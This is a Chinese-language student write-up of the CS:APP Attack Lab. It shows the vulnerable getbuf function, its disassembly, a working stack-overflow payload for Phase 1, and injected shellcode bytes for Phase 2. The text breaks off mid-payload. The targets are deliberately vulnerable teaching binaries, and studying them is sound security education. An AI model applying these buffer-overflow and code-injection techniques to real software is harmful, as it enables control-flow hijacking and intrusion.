一、资源概览
从网站上下载到压缩包target1,解压后包含如下文件:
- README.txt:文件夹中各个文件的介绍。
- ctarget和rtarget:用于进行攻击的可执行文件
- cookie.txt:一个八位十六进制数,有些攻击会用到。
- farm.c:ROP攻击中用到的“gadget farm”的源码。
- hex2raw:用于生成攻击字符串的工具程序。
二、注意事项
- 运行ctarget和rtarget时可以使用以下参数:
- -q:self-study必选参数,避免程序寻找教师的服务器。
- -h:列出可能的命令行参数
- -i FILE:从文件读取输入,而非从标准输入
使用”./hex2raw”将exploit字符串转换为字节码。使用方法参考attack.pdf的Appendix A。简而言之,输入应该为每两个十六进制数一组,用空格进行分隔。比如十六进制0应该写作00,0xdeadbeef应该写作“ef be ad de”。hex2raw的使用方法如下:
unix> cat exploit.txt | ./hex2raw | ./ctarget
- 本实验可以参考CS:APP3e之3.10.3节和3.10.4节。
- 使用ret指令实施攻击,所用的地址应该是下列之一:
- 函数touch1, touch2或touch3的地址
- 注入代码的地址
- 从gadget farm中利用的gadgets地址
- 从rtarget文件中构造gadgets的时候,地址应该在start_farm和end_farm之间。
漏洞存在于getbuf函数:无法得知缓冲区是否能容纳读入的字符串。
unsigned getbuf() { char buf[BUFFER_SIZE]; Gets(buf); return 1; }
三、Part I: Code Injection Attacks
- 攻击目标:ctarget
- ctarget运行时,栈上位置是连续的,所以栈上的数据是可执行的。
Phase 1
- 任务:使ctarget从getbuf返回时,执行touch1的代码,而不是返回到test中继续执行。
建议:
- 所需信息仅需要反汇编代码。可以用objdump -d
- 注意字节顺序
- 使用GDB,在getbuf的最后几步单步调试,确认情况
- buf在栈帧中的位置取决于编译时的常量BUFFER_SIZE,以及GCC使用的分配策略。需要根据反汇编代码确定buf的位置。
查看getbuf
gdb-peda$ disas getbuf Dump of assembler code for function getbuf: => 0x00000000004017a8 <+0>: sub rsp,0x28 0x00000000004017ac <+4>: mov rdi,rsp 0x00000000004017af <+7>: call 0x401a40 <Gets> 0x00000000004017b4 <+12>: mov eax,0x1 0x00000000004017b9 <+17>: add rsp,0x28 0x00000000004017bd <+21>: ret End of assembler dump.
很容易发现buf的缓冲区大小为0x28,所以填充了40个双字之后,写入的地址就可以覆盖返回地址ret了。记得要把地址后面的0补足了。
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA c0 17 40 00 00 00 00 00
- Phase 1可以通过了。
cd@ubuntu:~/pwn/csapp/attackLab$ cat exploit-1.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA C0 17 40 00 00 00 00 00
Phase 2
任务:使ctarget从getbuf返回时,执行touch2的代码,而不是返回到test中继续执行。并且要将cookie作为参数传递给touch2。
touch2的代码如下:
void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }
建议:
- 传递给函数的第一个参数保存在%rdi中。
- 注入代码应该把寄存器的值设成cookie,然后使用ret指令跳转到touch2。
- 总是使用ret指令来执行程序的控制转移。
思考:
- 注入代码的工作流程如上面的建议所示,首先要把%rdi的值设置为cookie的值,然后使用ret指令跳转到touch2。问题是,第二步怎么才能做到?
- ret指令的作用:从栈上弹出地址A,然后把PC设置为A。通常书上讲的是call和ret如何配合使用。这里则可以单独利用ret的功能,把touch2的地址压入栈,使其位于栈顶,然后ret指令就会把控制转移到touch2。
exploit-2
注意!返回地址要用00前缀补齐位数;压入栈的地址要有**一个**00前缀,多余的00会被混入下一条指令,没有00的话下一条指令会被认作地址(gcc会处理好,不要自己乱加或者乱删)。
48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi */ 68 ec 17 40 00 /* pushq $0x4017ec */ c3 /* retq */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc